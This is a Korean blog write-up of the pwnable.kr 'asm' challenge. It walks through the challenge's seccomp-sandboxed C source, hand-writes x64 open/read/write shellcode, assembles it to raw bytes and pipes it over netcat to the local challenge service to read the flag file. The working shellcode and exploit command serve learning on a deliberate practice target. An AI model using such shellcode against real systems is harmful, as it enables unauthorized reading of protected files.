본문 바로가기

CTF_Write_UP/pwnable.kr

[pwnable.kr] asm

시작

안녕하세요!! :D 즐거운 추석 연휴에요

LOB 다 풀고 복귀하려 했지만 바깥 세상엔 재밌는게 너무 많아서..

다음 휴가 때 마무리하려구요ㅎㅎ..

밤에 심심해서 pwnable,kr 문제를 풀어봤습니다!!

토들러 난이도도 거의 끝나가네요ㅠㅠ 제 군생활은 토들러와 함께 보냈습니다.

쉘코드 만드는 문제, asm!! 시작해봐요

Write UP

asm@prowl:~$ ls -l
total 28
-rwxr-xr-x 1 root root 13704 Nov 29  2016 asm
-rw-r--r-- 1 root root  1793 Nov 29  2016 asm.c
-rw-r--r-- 1 root root   211 Nov 19  2016 readme
-rw-r--r-- 1 root root    67 Nov 19  2016 this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
oooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong

기괴한 파일이 하나 들어있네요. readme부터 볼까요?

asm@prowl:~$ cat readme
once you connect to port 9026, the "asm" binary will be executed under asm_pwn privilege.
make connection to challenge (nc 0 9026) then get the flag. (file name of the flag is same as the one in this directory)

nc로 붙여서 플래그를 따 내라고 합니다.

asm_pwn 권한 그 폴더 안에 있는 저 기괴한 이름의 파일이 플래그란 소리네요.

C 코드도 까보죠.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>

#define LENGTH 128

void sandbox(){
        scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
        if (ctx == NULL) {
                printf("seccomp error\n");
                exit(0);
        }

        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

        if (seccomp_load(ctx) < 0){
                seccomp_release(ctx);
                printf("seccomp error\n");
                exit(0);
        }
        seccomp_release(ctx);
}

char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xf
f";
unsigned char filter[256];
int main(int argc, char* argv[]){

        setvbuf(stdout, 0, _IONBF, 0);
        setvbuf(stdin, 0, _IOLBF, 0);

        printf("Welcome to shellcoding practice challenge.\n");
        printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
        printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
        printf("If this does not challenge you. you should play 'asg' challenge :)\n");

        char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
        memset(sh, 0x90, 0x1000);
        memcpy(sh, stub, strlen(stub));

        int offset = sizeof(stub);
        printf("give me your x64 shellcode: ");
        read(0, sh+offset, 1000);

        alarm(10);

        chroot("/home/asm_pwn");        // you are in chroot jail. so you can't use symlink in /tmp
        sandbox();
        ((void (*)(void))sh)();
        return 0;
}

긴 코드가 나왔어요.

처음보는 코드들이 너무 많아서 여러 블로그를 참고했습니다.

(https://nroses-taek.tistory.com/151 : 설명을 너무 잘 해주셨어요)

일단 sandbox 부분!! seccomp이란 라이브러리를 import 후 사용하는데 이게 뭔가 했더니

secure computing mode의 약자로, 프로세스를 고립시켜 syscall을 불가능하게 만들어주는 sandboxing 매커니즘이라고 하네요.

SCMP_ACT_ALLOW 옵션으로 사용 가능한 syscall을 추가해줄 수 있다고 합니다.

그렇다면 이 코드에선 open(), read(), write(), exit()의 syscall은 가능하겠네요.

그 다음은 chroot! 설명이 뭔가 무시무시해요. 이것도 프로세스를 고립시키는 코드로 여기선 /home/asm_pwn 디렉터리에 갇히는 명령입니다.

결론적으로 우리는

nc로 바이너리에 붙게 됨과 동시에 /home/asm_pwn 폴더에 갇히고 open(), read(), write() 함수를 이용해 파일 내용을 뽑아내야 하는 거에요. 그것도 쉘코드로!!

((void (*)(void))sh(); 이 부분.. 앞선 쉘코드 포스팅에서 봤던 것과 똑같이 생겼네요.

sh를 실행하라는 친구죠? 이 녀석은 0x4141000부터 시작돼요. NOP으로 초기화도 됩니다.

그런데 보니깐 시작 부분에 stub이란 친구를 붙여줘요. 얘부터 뭔지 알아야 될 것 같습니다.

main을 디스어셈블 해보면 memcpy() 부분의 stub의 주소가 나와요.

gdb-peda$ x/30i 0x2020c0
   0x2020c0 :     xor    rax,rax
   0x2020c3 <stub+3>:   xor    rbx,rbx
   0x2020c6 <stub+6>:   xor    rcx,rcx
   0x2020c9 <stub+9>:   xor    rdx,rdx
   0x2020cc <stub+12>:  xor    rsi,rsi
   0x2020cf <stub+15>:  xor    rdi,rdi
   0x2020d2 <stub+18>:  xor    rbp,rbp
   0x2020d5 <stub+21>:  xor    r8,r8
   0x2020d8 <stub+24>:  xor    r9,r9
   0x2020db <stub+27>:  xor    r10,r10
   0x2020de <stub+30>:  xor    r11,r11
   0x2020e1 <stub+33>:  xor    r12,r12
   0x2020e4 <stub+36>:  xor    r13,r13
   0x2020e7 <stub+39>:  xor    r14,r14
   0x2020ea <stub+42>:  xor    r15,r15
   0x2020ed <stub+45>:  .byte 0x0

xor 연산으로 레지스터를 초기화 해주는 쉘코드네요.

그렇다면!! 아무 상관 없이 우리의 쉘코드를 만들어주면 됩니다!!

의사코드로 쉘코드를 표현하면 다음과 같아요.

open("this is pwna....", 0);
read(fd, buf, 1024);
write(1, buf, 1024);

이제 쉘코드를 만들어봅시다!!

global _start

_start :

        mov al, 0x2
        mov rdi, 0x41414050
        syscall

        push rax
        pop rdi
        mov rsi, 0x41414400
        mov dx, 0x100
        xor rax, rax
        syscall

        xor rax, rax
        mov al, 0x1
        push rax
        pop rdi
        syscall

위의 C 코드를 어셈으로 바꿨습니다.

컴파일 과정은 다음과 같아요. (https://xerxes-break.tistory.com/346 참고!!)

root@goorm:/workspace/LCH_Server/pwnable.kr/pwnable_asm/practice# nasm -f elf64 ex.asm
root@goorm:/workspace/LCH_Server/pwnable.kr/pwnable_asm/practice# ld ex.o
root@goorm:/workspace/LCH_Server/pwnable.kr/pwnable_asm/practice# objcopy -O binary a.out ex.bin
root@goorm:/workspace/LCH_Server/pwnable.kr/pwnable_asm/practice# hexdump -v -e '"\\""x" 1/1 "%02x" ""' ex.bin
\xb0\x02\xbf\x50\x40\x41\x41\x0f\x05\x50\x5f\xbe\x00\x44\x41\x41\x66\xba\x00\x01\x48\x31\xc0\x0f\x05\x48\x31\xc0\xb0\x01\x50\x5f\x0f\x05

쉘코드도 얻었으니깐 서버로 가봅시다!!

asm@prowl:~$ (python -c 'print "\xb0\x02\xbf\x50\x40\x41\x41\x0f\x05\x50\x5f\xbe\x00\x44\x41\x41\x66\xba\x00\x01\x48\x31\xc0\x0f\x05\x48\x31\xc0\xb0\x01\x50\x5f\x0f\x05" + "this_is_pwnable.kr_fl
ag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo00000000000
0o0o0o0o0o0o0ong\x00\x00"'; cat) | nc 0 9026
Welcome to shellcoding practice challenge.
In this challenge, you can run your x64 shellcode under SECCOMP sandbox.
Try to make shellcode that spits flag using open()/read()/write() systemcalls only.
If this does not challenge you. you should play 'asg' challenge :)
give me your x64 shellcode: Mak1ng_shelLcodE_i5_veRy_eaSy

Exploit!!

마무리

풀긴 풀었는데.. 한 가지 의문인게

왜 쉘코드 뒤에 파일명을 붙여주면 0x41414050 영역에 들어가는지 모르겠습니다 ㅠㅠ

이 부분은 더 공부를 해봐야 할 것 같네요.

추가적으로 pwntools의 shellcraft 사용법도 알아본 후 수정하겠습니다.

감사합니다 :D

'CTF_Write_UP > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] unlink  (0) 2019.08.30
[pwnable.kr] horcruxes  (0) 2019.06.29
[pwnable.kr] fsb  (0) 2019.06.26
[pwnable.kr] unexploitable  (0) 2019.06.20
pwnable.kr : uaf 풀이  (0) 2019.04.18